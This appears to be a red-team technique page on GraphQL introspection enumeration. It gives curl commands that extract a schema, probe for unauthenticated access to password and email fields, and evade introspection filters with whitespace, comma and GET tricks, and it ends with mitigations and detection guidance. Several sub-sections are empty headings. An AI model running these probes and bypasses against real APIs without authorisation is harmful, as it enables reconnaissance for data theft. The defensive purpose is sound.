MCADDF

[SAAS-API-001]: GraphQL API Enumeration

1. METADATA HEADER

Attribute Details
Technique ID SAAS-API-001
MITRE ATT&CK v18.1 T1590 - Gather Victim Network Information
Tactic Reconnaissance
Platforms M365/Entra ID, SaaS Platforms, Cloud APIs
Severity High
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions All GraphQL implementations with introspection enabled
Patched In N/A (requires configuration changes, not patched)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: GraphQL API enumeration is a reconnaissance technique that leverages the introspection feature built into GraphQL APIs to automatically discover and extract the complete schema definition. Unlike REST APIs where endpoints must be manually discovered, GraphQL exposes its schema structure through a standardized introspection query mechanism (__schema), allowing an attacker to rapidly understand the entire attack surface of an application without authentication.

Attack Surface: GraphQL introspection queries, specifically the __schema and __type root fields available on all GraphQL servers.

Business Impact: Schema disclosure enables attackers to identify sensitive data fields, hidden mutations, experimental features, and authentication mechanisms. This reconnaissance directly reduces attacker effort for subsequent exploitation attempts and provides a roadmap for privilege escalation, data exfiltration, and unauthorized modification attacks.

Technical Context: GraphQL introspection queries can be executed in seconds and return verbose schema metadata including field names, descriptions, arguments, types, and return values. Discovery is non-destructive, leaves minimal audit trails, and requires no special privileges if introspection is enabled (a common default configuration).

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS CSC 14 Secure and Manage Sensitive API Documentation
DISA STIG SI-4(1) Information System Monitoring – System Monitoring
CISA SCuBA API-01 Disable GraphQL Introspection in Production
NIST 800-53 CA-3 System Interconnections (API Design & Disclosure)
GDPR Art. 32 Security of Processing (API Schema Confidentiality)
DORA Art. 6 Information and Communication Technology (ICT) security risk management
NIS2 Art. 21 Multi-layered Preventive Measures (Asset Inventory)
ISO 27001 A.14.1.2 Change Management (API endpoint management)
ISO 27005 Risk Scenario Unauthorized disclosure of API schema leading to targeted attack planning

3. TECHNICAL PREREQUISITES

Required Privileges: None – Introspection typically requires no authentication.

Required Access: Network access to the GraphQL endpoint (typically HTTP/HTTPS port 443).

Supported Versions: GraphQL 2019 specification and later (all modern GraphQL implementations).

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / REST API Reconnaissance

Step 1: Probe for GraphQL Endpoint

curl -s https://target-api.example.com/graphql -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__schema{queryType{name}}}"}' | jq .

What to Look For:

Success Indicator: Response contains "data":{"__schema":{"queryType":{"name":"Query"}}} or similar.


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Basic Introspection Query (cURL / Postman)

Supported Versions: All GraphQL implementations with introspection enabled.

Step 1: Simple Schema Root Query

Objective: Confirm introspection is enabled and identify top-level query types.

Command (cURL):

curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { __schema { queryType { name fields { name } } } }"
  }' | jq .

Expected Output:

{
  "data": {
    "__schema": {
      "queryType": {
        "name": "Query",
        "fields": [
          { "name": "user" },
          { "name": "posts" },
          { "name": "search" }
        ]
      }
    }
  }
}

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Extract Complete Schema Definition

Objective: Retrieve the full schema with all types, fields, arguments, and return types.

Full Introspection Query:

curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query IntrospectionQuery { __schema { types { kind name description fields(includeDeprecated: true) { name type { kind name ofType { kind name } } description args { name type { kind } } } enumValues { name } possibleTypes { name } } } }"
  }' | jq . > schema.json

Expected Output: A massive JSON file (often 10KB-100KB+) containing:

What This Means:

OpSec & Evasion:

References & Proofs:

Step 3: Identify Authentication & Authorization Gaps

Objective: Discover sensitive queries/mutations that should require authentication but may not.

Reconnaissance Query:

curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { user(id: \"123\") { id email password phoneNumber roles { name permissions } internalNotes } posts(first: 100) { id content author { email } comments { id text } } }"
  }'

What to Look For:

References & Proofs:

METHOD 2: Bypassing Introspection Restrictions (Advanced)

Supported Versions: GraphQL servers with regex-based or basic introspection filters.

Step 1: Whitespace and Special Character Bypass

Objective: Defeat simple regex-based introspection blockers that match literal __schema patterns.

Bypass Techniques:

# Attempt 1: Newline bypass
curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { __schema\n { queryType { name } } }"
  }'

# Attempt 2: Tab character bypass
curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { __schema\t { queryType { name } } }"
  }'

# Attempt 3: Comma-based bypass (GraphQL ignores leading commas)
curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { ,__schema { queryType { name } } }"
  }'

What This Means:

Detection likelihood: Medium – Alternative HTTP methods (GET instead of POST) or unusual character encodings may be logged.

Step 2: Alternate HTTP Methods

Objective: Bypass POST-only introspection restrictions using GET requests.

Command:

curl -s "https://target-api.example.com/graphql?query=query%7B__schema%7BqueryType%7Bname%7D%7D%7D"

What This Means:

References & Proofs:

Step 3: Fallback Schema Discovery via Error Messages

Objective: Extract schema information from error messages when introspection is completely disabled.

Command:

# Query a non-existent field to trigger error
curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { doesNotExist { subfield } }"
  }'

# Attempt to cause a schema validation error
curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { user(invalidArg: \"test\") { id } }"
  }'

Expected Output (Verbose Errors):

{
  "errors": [
    {
      "message": "Cannot query field \"doesNotExist\" on type \"Query\". Did you mean \"user\" or \"posts\" or \"search\"?",
      "suggestions": ["user", "posts", "search"]
    }
  ]
}

What This Means:

OpSec & Evasion:

References & Proofs:

METHOD 3: Automated Schema Extraction with Burp Suite & GraphQL Tools

Supported Versions: All GraphQL implementations.

Step 1: Configure Burp Suite GraphQL Proxy

Objective: Intercept and analyze GraphQL requests with Burp’s built-in GraphQL support.

Manual Configuration Steps (Burp Suite Professional 2024.1+):

  1. Open Burp SuiteProxy tab.
  2. Set a target URL to https://target-api.example.com/graphql.
  3. Send a request to the GraphQL endpoint (e.g., a simple query).
  4. In the Proxy history, right-click the GraphQL request → Send to GraphQL Scanner.
  5. The GraphQL Scanner will automatically attempt introspection and display the schema.

Or use the introspection query directly in Burp Repeater:

  1. Repeater → Send the Step 2 introspection query above.
  2. Burp will automatically recognize GraphQL and provide schema syntax highlighting.
  3. Use GraphQL Voyager extension (imported from Burp) to visualize.

Step 2: Export Schema for Further Analysis

Command (using introspection query output):

# Save schema to file
curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d @introspection-query.json | jq . > schema.json

# Parse schema with GraphQL CLI
npx graphql-cli introspect https://target-api.example.com/graphql --write schema.graphql

# Visualize with Voyager
npx apollo client:download-schema --endpoint=https://target-api.example.com/graphql schema.graphql

What This Means:

References & Proofs:


6. TOOLS & COMMANDS REFERENCE

cURL

Version: 7.0+ (all modern versions support JSON POST)

Installation:

# Linux/macOS
brew install curl  # or apt-get install curl

# Windows
choco install curl

Usage:

curl -X POST https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { __schema { types { name } } }"}'

Postman

Version: 10.0+ (native GraphQL support)

Installation: Download from Postman

Usage:

  1. Create new request → Select GraphQL from request type dropdown.
  2. Enter endpoint URL.
  3. Paste introspection query in Query tab.
  4. Send.

GraphQL Voyager

Version: 2.0+ (latest)

Installation:

npm install -g graphql-voyager

Usage:

# Start local Voyager server to visualize schema
npx graphql-voyager https://target-api.example.com/graphql

Output: Interactive visualization of schema types, relationships, and fields in browser (localhost:3001).

Burp Suite

Version: 2024.1+ (GraphQL support)

Installation: Download from PortSwigger

Built-in GraphQL Features:


7. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix)

curl -s https://target-api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query{__schema{queryType{name}}}"}' | jq .

Expected Output (If Secure):

{
  "errors": [
    {
      "message": "Cannot query field \"__schema\" on type \"Query\"."
    }
  ]
}

What to Look For:


8. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    • Block the source IP at the firewall or WAF level.
    • Command: aws wafv2 update-ip-set --name graphql-blocklist --scope REGIONAL --id <id> --addresses "[\"<attacker-ip>\"]"
  2. Collect Evidence:
    • Export API gateway logs for the affected time period.
    • Command: aws logs get-log-events --log-group-name /aws/apigateway/graphql --log-stream-name <stream>
  3. Remediate:
    • Verify introspection is disabled (see Validation Command above).
    • Audit exposed schema for sensitive fields; flag for removal or access control.

Microsoft Purview / Unified Audit Log Query

Search-UnifiedAuditLog -Operations "InvokeWebRequest" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -FreeText "__schema" | Export-Csv -Path "C:\Evidence\GraphQL_Recon.csv"

What to Analyze:


Step Phase Technique Description
1 Reconnaissance [SAAS-API-001] GraphQL API Enumeration – Discover schema and available operations
2 Exploitation [SAAS-API-002] REST API Rate Limit Bypass – Abuse endpoints discovered via enumeration
3 Credential Access [CA-UNSC-014] SaaS API Key Exposure – Extract hardcoded keys from discovered mutations
4 Privilege Escalation [PE-ACCTMGMT-001] App Registration Permissions Escalation – Use discovered OAuth mutations
5 Impact [IMPACT-001] Unauthorized Data Access – Query sensitive fields discovered in schema

10. REAL-WORLD EXAMPLES

Example 1: GitHub GraphQL Schema Disclosure (2019)

Example 2: Vulnerable SaaS Platform (2023)


Glossary